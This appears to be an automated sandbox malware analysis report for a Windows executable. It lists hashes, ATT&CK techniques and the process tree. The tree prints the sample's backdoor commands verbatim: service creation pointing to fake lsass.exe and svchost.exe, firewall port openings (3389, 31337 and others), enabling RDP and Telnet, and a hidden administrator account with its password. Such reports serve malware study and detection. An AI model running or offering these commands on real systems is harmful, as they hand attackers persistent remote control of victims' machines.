c29ad03e0ec0fc3917ba169a13cace2455cf7c79aee863766255ae77c805a533

General

Target

e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
Size

793KB
MD5

e25a5099c31b2f40353e95ba4d0c3fec
SHA1

44c0d53160a4791f82456c4c4a70cd1bf1194d51
SHA256

c29ad03e0ec0fc3917ba169a13cace2455cf7c79aee863766255ae77c805a533
SHA512

343760910ba9c89131e62e67e5e7a4045059a8fe3aff1578811273cbca093a6280525320f5ec55bff1426629c92a3543167b92005535815efa65f03859dbac2e
SSDEEP

24576:z9DTK2LB+Rz13UT1++7WSM7hIiaeQ+oAgDjBUv:zhB86d7U7CeaDj+

Score

9^/10

defense_evasion discovery evasion execution persistence privilege_escalation

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Modifies Windows Firewall 2 TTPs 7 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

pid process

1720 netsh.exe
2640 netsh.exe
2292 netsh.exe
1160 netsh.exe
544 netsh.exe
1356 netsh.exe
2452 netsh.exe

pid	process
1720	netsh.exe
2640	netsh.exe
2292	netsh.exe
1160	netsh.exe
544	netsh.exe
1356	netsh.exe
2452	netsh.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

REG.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\PlugAndPlay\ImagePath = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe -service -debug"	REG.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Executes dropped EXE 1 IoCs

Processes:

termserv.exe

pid process

1852 termserv.exe
Loads dropped DLL 2 IoCs

Processes:

e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

pid process

2212 e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
2212 e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201

pid	process
1852	termserv.exe

pid	process
2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

defense_evasion

Hidden Users

T1564.002

Processes:

REG.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Microsoft = "0"	REG.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

2416 sc.exe
2468 sc.exe
2280 sc.exe
2976 sc.exe
2744 sc.exe
1508 sc.exe
3040 sc.exe
2348 sc.exe
2464 sc.exe
2420 sc.exe

pid	process
2416	sc.exe
2468	sc.exe
2280	sc.exe
2976	sc.exe
2744	sc.exe
1508	sc.exe
3040	sc.exe
2348	sc.exe
2464	sc.exe
2420	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 21 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

netsh.exeREG.exeREG.exesc.exesc.exesc.exenetsh.exenet1.exenet1.exesc.exenetsh.exenetsh.exenet.exenet.exenet1.exenetsh.exenet1.exeREG.exenet.exenet.exesc.exesc.exenet1.exenet1.exeREG.exeREG.exetermserv.exesc.exenet.exesc.exeREG.exesc.exenet.exenet.exee25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exesc.exenetsh.exenetsh.exenet1.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	termserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	REG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

Runs net.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

description pid process

Token: SeDebugPrivilege 2212 e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

termserv.exe

pid process

1852 termserv.exe
1852 termserv.exe

description	pid	process
Token: SeDebugPrivilege	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

pid	process
1852	termserv.exe
1852	termserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe

description	pid	process	target process
PID 2212 wrote to memory of 3040	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 3040	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 3040	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 3040	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2416	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2416	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2416	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2416	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2468	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2468	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2468	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2468	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2280	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2280	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2280	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2280	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2976	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2976	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2976	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2976	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2744	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2744	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2744	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2744	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2640	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2640	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2640	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2640	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2348	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2348	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2348	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2348	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	sc.exe
PID 2212 wrote to memory of 2636	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2636	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2636	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2636	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2692	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2692	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2692	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2692	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2260	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2260	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2260	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2260	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	REG.exe
PID 2212 wrote to memory of 2292	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2292	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2292	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2292	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 1160	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 1160	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 1160	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 1160	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 544	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 544	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 544	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 544	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 1356	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 1356	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 1356	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 1356	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2452	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2452	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2452	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe
PID 2212 wrote to memory of 2452	2212	e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe	netsh.exe

C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\e25a5099c31b2f40353e95ba4d0c3fec_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\SysWOW64\sc.exe
sc stop "ProtocolWindows_ "
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3040

C:\Windows\SysWOW64\sc.exe
sc delete "ProtocolWindows_ "
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2416

C:\Windows\SysWOW64\sc.exe
sc stop "PlugAndPlay"
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2468

C:\Windows\SysWOW64\sc.exe
sc delete "PlugAndPlay"
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2280

C:\Windows\SysWOW64\sc.exe
sc create "ProtocolWindows_ " binpath= "C:\Users\Admin\AppData\Roaming\lsass.exe" displayname= "Protocol HTTP/SSL " type= own start= auto error= ignore
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2976

C:\Windows\SysWOW64\sc.exe
sc description "ProtocolWindows_ " "Ýòà ñëóæáa îáåñïå÷èâàåò áåçîïañíûé ïðîòîêîë ïåðåäà÷è äàííûõ ãèïåðòåêñòà (HTTPS) äëÿ ñëóæáû HTTP. Åñëè ýòà ñëóæáà îòêëþ÷åía, ëþáûå ñëóæáû, êîòîðûå ÿâíî çaâèñÿò îò íåå, íå ìîãóò áûòü çàïóùåíû. "
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2744

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\lsass.exe" ENABLE
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2640

C:\Windows\SysWOW64\sc.exe
sc create "PlugAndPlay" displayname= "PlugAndPlay " binpath= "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" type= own start= auto error= ignore
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2348

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\services\PlugAndPlay" /v ImagePath /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\svchost.exe -service -debug" /f
2⤵
- Sets service image path in registry
- System Location Discovery: System Language Discovery
PID:2636

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_REGDWORD /d 3389 /f
2⤵
- System Location Discovery: System Language Discovery
PID:2692

C:\Windows\SysWOW64\REG.exe
REG ADD "HKCU\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN" /v iexplore.exe /t REG_REGDWORD /d 0 /f
2⤵
- System Location Discovery: System Language Discovery
PID:2260

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svchost.exe" ENABLE
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2292

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram ctfmon.exe ENABLE
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1160

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 3389 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:544

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 8080 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1356

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 31337 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2452

C:\Windows\SysWOW64\netsh.exe
netsh firewall add portopening protocol = TCP port = 80 name = TCP
2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1720

C:\Users\Admin\AppData\Roaming\termserv.exe
C:\Users\Admin\AppData\Roaming\termserv.exe -silent
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1852

C:\Windows\SysWOW64\sc.exe
sc start mnmsrvc
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1508

C:\Windows\SysWOW64\sc.exe
sc Start TlntSvr
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2464

C:\Windows\SysWOW64\sc.exe
sc Start TermService
2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2420

C:\Windows\SysWOW64\net.exe
net start FastUserSwitchingCompatibility
2⤵
- System Location Discovery: System Language Discovery
PID:2160

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start FastUserSwitchingCompatibility
3⤵
- System Location Discovery: System Language Discovery
PID:764

C:\Windows\SysWOW64\net.exe
net start TermService
2⤵
- System Location Discovery: System Language Discovery
PID:2996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start TermService
3⤵
- System Location Discovery: System Language Discovery
PID:1044

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
2⤵
- System Location Discovery: System Language Discovery
PID:1080

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2⤵
- System Location Discovery: System Language Discovery
PID:1956

C:\Windows\SysWOW64\net.exe
net user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
2⤵
- System Location Discovery: System Language Discovery
PID:3000

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user Microsoft skj2g43 /add /EXPIRES:NEVER /active:yes
3⤵
- System Location Discovery: System Language Discovery
PID:1748

C:\Windows\SysWOW64\net.exe
net localgroup Microsoft /add
2⤵
- System Location Discovery: System Language Discovery
PID:696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Microsoft /add
3⤵
- System Location Discovery: System Language Discovery
PID:624

C:\Windows\SysWOW64\net.exe
net localgroup Àäìèíèñòðàòîðû Microsoft /add
2⤵
- System Location Discovery: System Language Discovery
PID:2524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Àäìèíèñòðàòîðû Microsoft /add
3⤵
- System Location Discovery: System Language Discovery
PID:1660

C:\Windows\SysWOW64\net.exe
net localgroup Administrators Microsoft /add
2⤵
- System Location Discovery: System Language Discovery
PID:2224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators Microsoft /add
3⤵
- System Location Discovery: System Language Discovery
PID:1232

C:\Windows\SysWOW64\net.exe
net accounts /maxpwage:unlimited
2⤵
- System Location Discovery: System Language Discovery
PID:1652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 accounts /maxpwage:unlimited
3⤵
- System Location Discovery: System Language Discovery
PID:2908

C:\Windows\SysWOW64\REG.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v Microsoft /t REG_DWORD /d 0 /f
2⤵
- Hide Artifacts: Hidden Users
- System Location Discovery: System Language Discovery
PID:1520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

2

T1569

Service Execution

2

T1569.002

Persistence

Account Manipulation

1

T1098

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

3

T1543

Windows Service

3

T1543.003

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Account Manipulation

1

T1098

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Create or Modify System Process

3

T1543

Windows Service

3

T1543.003

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Hide Artifacts

1

T1564

Hidden Users

1

T1564.002

Impair Defenses

2

T1562

Disable or Modify System Firewall

Modify Registry

Credential Access

Discovery

Password Policy Discovery

1

T1201

Permission Groups Discovery

1

T1069

Local Groups

1

T1069.001

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\lsass.exe

Filesize
24KB

MD5
f5d70d9c0d3e969d05853d74ed873938

SHA1
229c8228f7f7a7a9bb392cfd2c3e2094fbe7c205

SHA256
dc583111b2f8ef01f752f18682934005d5bb0060233f0c50f8c88c91dc17a0c5

SHA512
968c9b8f317e5650ecfe28d730b3a4e6a810b1cc6d0a415d297c1229f327d4ff14bb3b66552e22823037a0243fb613a41c051323fd7ba4e9dc4cbf65813f24ca

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Roaming\termserv.exe

Filesize
44KB

MD5
382cebd78ad354b1dfd91dc8176615f6

SHA1
5c734f779cf23cee4d7260a0eee3ce1ed888f1c0

SHA256
067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445

SHA512
650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

Download Submit
memory/2212-0-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/2212-24-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
